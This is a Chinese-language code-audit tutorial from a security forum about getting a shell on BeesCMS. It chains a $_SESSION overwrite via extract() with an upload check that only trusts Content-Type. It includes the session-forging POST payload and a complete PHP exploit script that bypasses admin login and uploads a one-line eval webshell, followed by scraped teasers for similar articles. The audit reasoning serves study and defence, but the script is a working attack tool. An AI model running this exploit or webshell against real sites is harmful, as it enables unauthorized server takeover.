代码审计就该这么来3 beescms getshell

本文作者:i春秋作家——索马里的海贼

前言
上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入。并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了。

一、关注重点 
对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解

file_get_contents()
file_put_contents()
move_uploaded_file()
readfile()
fopen()
file()
fputs()
fwrite()
…………

这些都是常用的文件读写类函数,一般文件类的漏洞直接搜索这些函数的调用,跟踪上下文参数传递过程就可以了。说起来挺简单
其实要一个一个调用看过去还是很费时间的,尤其是在快速漏洞挖掘中,对系统结构还不太熟悉,有些参数传递或者方法可能一眼看上去就懵比了。那么如何来快速发现一个文件类的漏洞呢。
审计文件类的漏洞,首先我会去看这套系统的上传部分。上传部分是已经构造完成的一套从输入到写入到输出的流程,如果其中存在问题,那么很可能直接就拿到shell。
上传漏洞被挖了这么多年,各类cms或多或少都会在上传部分做一些检查和限制,常见的检查有
1、$_FILES[‘file‘][‘name‘] 一般会从上传文件的文件名中取出扩展名,并与白名单或者黑名单做比较来判断是否继续上传。
2、$_FILES[‘file‘][‘type‘] 上传文件的类型,一般是与白名单比较。
3、$_FILES[‘file‘][‘tmp_name‘] 上传文件的临时保存文件,有些比较严谨的CMS会在这个阶段 用getimagesize等函数对临时文件做检查。如文件不合法 直接丢弃
常见的限制有
1、使用is_uploaded_file() 这个函数会检查$_FILES[‘file‘][‘tmp_name‘] 是否为合法的上传文件,当$_FILES被漏洞覆盖的时候,可被修改的$_FILES[‘file‘][‘tmp_name‘]将是一个极大的安全威胁,如果处理文件上传的函数是copy 那么最轻都是一个任意文件读取的漏洞。
2、单独使用move_uploaded_file()函数处理上传文件,理由同上,move_uploaded_file函数也会判断是否为合法文件。减少系统存在变量覆盖漏洞时躺枪的概率。
3、文件名不可控且后缀名限制为某个数组的成员 比如


$ext=array(‘jpg’,‘png’,‘gif’);

$filename = ‘user_avatar_01′ . $ext[$s];

接下来就看看我们的目标beescms
二、实战
先来看看beescms的上传部分代码


if(isset($_FILES[‘up‘])){

if(is_uploaded_file($_FILES[‘up‘][‘tmp_name‘])){

if($up_type==’pic’){

$is_thumb=empty($_POST[‘thumb‘])?0:$_POST[‘thumb‘];

$thumb_width=empty($_POST[‘thumb_width‘])?$_sys[‘thump_width‘]:intval($_POST[‘thumb_width‘]);

$thumb_height=empty($_POST[‘thumb_height‘])?$_sys[‘thump_height‘]:intval($_POST[‘thumb_height‘]);

$logo=0;

$is_up_size = $_sys[‘upload_size‘]*1000*1000;

$value_arr=up_img($_FILES[‘up‘],$is_up_size,array(‘image/gif’,‘image/jpeg’,‘image/png’,‘image/jpg’,‘image/bmp’,‘image/pjpeg’),$is_thumb,$thumb_width,$thumb_height,$logo);

$pic=$value_arr[‘pic‘];

if(!empty($value_arr[‘thumb‘])){

$pic=$value_arr[‘thumb‘];

}

$str=”<script type=\”text/javascript\”>$(self.parent.document).find(‘#{$get}’).val(‘{$pic}’);self.parent.tb_remove();</script>”;

echo $str;

exit;

}//图片上传

}else{

die(‘没有上传文件或文件大小超过服务器限制大小<a href=”javascript:history.back(1);”>返回重新上传</a>’);

}

}

可以看到  用is_uploaded_file检查了上传文件是否合法,所以即使系统有变量覆盖漏洞(这套系统的确是有的,后面会说),也帮不上多大忙了

实际上传用的是up_img函数 接着跟过去看看


function up_img($file,$size,$type,$thumb=0,$thumb_width=”,$thumb_height=”,$logo=1,$pic_alt=”){

if(file_exists(DATA_PATH.’sys_info.php’)){include(DATA_PATH.’sys_info.php’);}

if(is_uploaded_file($file[‘tmp_name‘])){

if($file[‘size‘]>$size){

msg(‘图片超过’.$size.’大小’);

}

$pic_name=pathinfo($file[‘name‘]);//图片信息

$file_type=$file[‘type‘];

if(!in_array(strtolower($file_type),$type)){

msg(‘上传图片格式不正确’);

}

$path_name=”upload/img/”;

$path=CMS_PATH.$path_name;

if(!file_exists($path)){

@mkdir($path);

}

$up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;

$up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);

$file_name=$path.$up_file_name2.’.’.$pic_name[‘extension‘];

if(file_exists($file_name)){

msg(‘已经存在该图片,请更改图片名称!’);//判断是否重名

}

$return_name[‘up_pic_size‘]=$file[‘size‘];//上传图片大小

$return_name[‘up_pic_ext‘]=$pic_name[‘extension‘];//上传文件扩展名

$return_name[‘up_pic_name‘]=$up_file_name;//上传图片名

$return_name[‘up_pic_path‘]=$path_name;//上传图片路径

$return_name[‘up_pic_time‘]=time();//上传时间

unset($pic_name);

//开始上传

if(!move_uploaded_file($file[‘tmp_name‘],$file_name)){

msg(‘图片上传失败’,”,0);

}

好了来看看他的检查和限制


$file_type=$file[‘type‘];

if(!in_array(strtolower($file_type),$type)){

msg(‘上传图片格式不正确’);

}

这里检查了上传文件的type 如果type不在白名单里 就直接提示出错

这个检查其实做的是无用功,type来自客户端,想怎么伪造都可以

再来看看保存的文件名


$pic_name=pathinfo($file[‘name‘]);//图片信息

…………

$up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt;

$up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name);

$file_name=$path.$up_file_name2.’.’.$pic_name[‘extension‘];

并没有做任何检查就直接取了$file[‘name‘](就是我们上传时候的文件名)的后缀来给新生成的文件,只要伪造合法的type就能妥妥的getshell了

三、一波三折
结束了么?并没有,其实beecms这套系统前台根本就没有上传点。。。所有的上传功能都需要后台权限。一个后台getshell当然不能满足,于是继续挖掘。先来看看是怎么验证后台权限的

admin/upload.php第二行


include(‘init.php’);

admin/init.php 第54行

if(!is_login()){header(‘location:login.php‘);exit;}

来看看这个is_login函数

includes/fun.php 第997行function is_login(){        if($_SESSION[‘login_in‘]==1&&$_SESSION[‘admin‘]){                if(time()-$_SESSION[‘login_time‘]>3600){                        login_out();                }else{                        $_SESSION[‘login_time‘]=time();                        @session_regenerate_id();                }                return 1;        }else{                $_SESSION[‘admin‘]=‘‘;                $_SESSION[‘admin_purview‘]=‘‘;                $_SESSION[‘admin_id‘]=‘‘;                $_SESSION[‘admin_time‘]=‘‘;                $_SESSION[‘login_in‘]=‘‘;                $_SESSION[‘login_time‘]=‘‘;                $_SESSION[‘admin_ip‘]=‘‘;                return 0;        } }

来看看这个is_login函数

includes/fun.php 第997行

function is_login(){        if($_SESSION[‘login_in‘]==1&&$_SESSION[‘admin‘]){                if(time()-$_SESSION[‘login_time‘]>3600){                        login_out();                }else{                        $_SESSION[‘login_time‘]=time();                        @session_regenerate_id();                }                return 1;        }else{                $_SESSION[‘admin‘]=‘‘;                $_SESSION[‘admin_purview‘]=‘‘;                $_SESSION[‘admin_id‘]=‘‘;                $_SESSION[‘admin_time‘]=‘‘;                $_SESSION[‘login_in‘]=‘‘;                $_SESSION[‘login_time‘]=‘‘;                $_SESSION[‘admin_ip‘]=‘‘;                return 0;        } }

这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已

前面说到过这套系统存在变量覆盖漏洞 如果能覆盖(添加)这几个$_SESSION值 就能绕过这个检查

$_SESSION覆盖有个必须前提,session_start()必须出现在覆盖之前,不然就算覆盖了$_SESSION变量,一旦session_start()  变量就会被初始化掉。

来看看覆盖的地方

includes/init.php  部分代码省略

session_start();@include(INC_PATH.‘fun.php‘);define(‘IS_MB‘,is_mb()); unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS);if (!get_magic_quotes_gpc()){    if (isset($_REQUEST))    {        $_REQUEST  = addsl($_REQUEST);    }    $_COOKIE   = addsl($_COOKIE);        $_POST = addsl($_POST);        $_GET = addsl($_GET);}if (isset($_REQUEST)){$_REQUEST  = fl_value($_REQUEST);}    $_COOKIE   = fl_value($_COOKIE);        $_GET = fl_value($_GET);@extract($_POST);@extract($_GET);@extract($_COOKIE);

一个全局过滤的代码,最后用extract来初始化变量 由于没有使用EXTR_SKIP参数导致任意变量覆盖,又由于执行的时候已经session_start()了
所以可以覆盖(添加)任意$_SESSION值。 这么一来就能绕过后台检查把一个后台getshell变成前台getshell了

四、利用

利用就很简单了,首先POST index.php

_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

然后打开/admin/upload.php 选择一个php文件上传
修改上传包中的Content-Type:为image/png就可以了

算了还是把exp放上来吧。。。
利用脚本具有攻击性,请在本地环境进行测试!
请勿针对任何互联网站点使用本脚本!
利用本脚本造成的一切后果与本人无关!

<?phpprint_r(‘******************************************************    Beescms File Upload Vulnerability*    by SMLDHZ*    QQ:3298302054*    Usage: php ‘.basename(__FILE__).‘ url*    php ‘.basename(__FILE__).‘ [url]http://www.beescms.com/beescms/[/url]*****************************************************‘);if($argc!=2){        exit;}$uri = $argv[1];$payload1 = ‘_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999‘;$payload2 = array(‘up"; filename="shell.php"‘."\r\nContent-Type:image/png\r\n\r\n<?php eval(\$_POST[‘x‘]);?>"=>‘‘);preg_match(‘#Set-Cookie:(.*);#‘,myCurl($uri."/index.php",$payload1),$match);if(!isset($match[1])){        die(‘[-]Opps! Cannot get Cookie...‘);}echo "[+]Got Cookie:".$match[1]."\r\n";echo "[+]Now trying to getshell...\r\n";$tmp = myCurl($uri."/admin/upload.php",$payload2,$match[1]);preg_match(‘#val\(\‘(.*)\‘\)#‘,$tmp,$shell);if(!isset($shell[1])){        die(‘[-]Opps! Cannot get shell... see below\r\n‘.$tmp);}echo "[+]Your shell:".$uri."/upload/".$shell[1]." [password]:x";

function myCurl($url,$postData=‘‘,$cookie=‘‘){        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_POST, true);        curl_setopt($ch, CURLOPT_HEADER, 1);        curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);         if($cookie != ‘‘){                curl_setopt($ch, CURLOPT_COOKIE, $cookie);        }        $ret = curl_exec($ch);        curl_close($ch);        return $ret;}

总结
写文章真尼玛累,其实整篇文章对于一个熟悉php代码审计的人来说,两句话就能说清楚了


前台变量覆盖$_SESSION可绕过后台验证

后台上传部分只验证了Content-Type导致getshell

为什么写这么多,并不是为了多赚稿费(要是按字收费就好了。。。)我是希望不管小伙伴们懂不懂代码审计,都能看得下去这篇文章,不说看完能学到多少,至少step by step读下来没那么枯燥,新手看下来也能觉得有收获。

时间: 2024-11-09 09:44:53

代码审计就该这么来3 beescms getshell的相关文章

技术专题-PHP代码审计

作者:坏蛋链接:https://zhuanlan.zhihu.com/p/24472674来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实际并无什么门槛要求,只需要理解基础的php语法规则,以及理解各种类型漏洞的出现原因则可以开始尝试审计php源代码.通常的漏洞演示中

PHP代码审计中你不知道的牛叉技术点

一.前言 php代码审计如字面意思,对php源代码进行审查,理解代码的逻辑,发现其中的安全漏洞.如审计代码中是否存在sql注入,则检查代码中sql语句到数据库的传输 和调用过程. 入门php代码审计实际并无什么门槛要求,只需要理解基础的php语法规则,以及理解各种类型漏洞的出现原因则可以开始尝试审计php源代码.通常的漏洞演示中sql语句会直接传入php自带的函数传入数据库执行,但在实际的软件项目中,通常以面向对象的思想进行编程,则会涉及各种形式的封装,调用,以及不同风格的框架,在这个条件下,只

WEB渗透测试培训班

2018最新WEB渗透测试培训班 介绍: 2012-2018这几年我们迎来大数据时代.网络环境.现在更加普及和大众化!我们不仅在生活上,工作上都正受到前所未有的挑战. 这些挑战包括:隐私泄漏.信息泄露.黑客攻击.商业间谍等.除了加强信息安全教育外,我们还要从技术上解决这类安全问题. 随着区块链思想的产生,这几年将是网络发展突破瓶颈的过渡区,所以Yuntest特意隆重推出关于网络安全方面的课程WEB安全渗透. 面向人群:WEB安全.程序员.系统运维.SEO黑白帽.群众 培训形式:多种课程为您量身定

[代码审计]yxcms从伪xss到getshell

0x00 前言 这篇文章首发于圈子,这里作为记录一下. 整个利用链构造下来是比较有趣的,但实际渗透中遇到的几率比较少. 此次审的是yxcms 1.4.6版本,应该是最后一个版本了吧? 0x01 从任意文件删除漏洞说起 yxcms经过修修补补,前台的一些洞都挖得差不多了,一番挖掘没什么效果,转到后台去.后台的防护是比较松懈的.找到了个任意文件删除漏洞. /protected/apps/admin/controller/filesController.php public function del(

[代码审计]phpshe开源商城后台两处任意文件删除至getshell

0x00 背景 这套系统审了很久了,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars的处理. 二次注入没找到,逻辑漏洞也没找到.抛开实际利用来说,简单讲讲两个任意文件删除漏洞,在拿到后台之后的getshell方法. 0x01 phpshe程序简介 phpshe是一个开源商城程序,程序在前台入库的地方都用了pe_dbhold函数(mysql_real_escape_string,htmlspecialc

XerCMS-1.0.3代码审计(文件名报错注入后台getshell)

链接:https://share.weiyun.com/6b98e41d036967178e1a21fb88ed340f (密码:YnNY) 文件名报错注入 index.php?m=member&a=upfiles&id=2 在这个文件夹中XerCMS\Modules\member\index.php 前台注册个用户 在头像上传处抓包reperter一下用mysql监控工具 发现有insert数据库操作 分析一下 跟进upfiles函数 public function upfiles()

【代码审计】seacms 前台Getshell分析

漏洞触发点search.php 211-213行,文中38-40行 1 if(intval($searchtype)==5) 2 { 3 $tname = !empty($tid)?getTypeNameOnCache($tid):'全部'; 4 $jq = !empty($jq)?$jq:'全部'; 5 $area = !empty($area)?$area:'全部'; 6 $year = !empty($year)?$year:'全部'; 7 $yuyan = !empty($yuyan)?

【代码审计】EasySNS_V1.6远程图片本地化导致Getshell

0x00 环境准备 EasySNS官网:http://www.imzaker.com 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/index.php/Topic/gview/id/92.html 默认后台地址:http://127.0.0.1/admin.php/Login/login.html 默认账号密码:admin/admin 测试网站首页: 0x01 代码分析 ? 1.漏洞文件位置:  /app/common.func.php

【代码审计】MIPCMS 远程写入配置文件Getshell

0x00 环境准备 MIPCMS官网:https://www.mipcms.cn 网站源码版本:MIPCMS内容管理系统 V3.1.0(发布时间:2018-01-01) 程序源码下载:http://www.mipcms.cn/mipcms-3.1.0.zip 本地测试网站: 0x01 代码分析 1.漏洞文件位置/app/install/controller/Install.php  第13-23行:   public function index()     {  ?       if (is_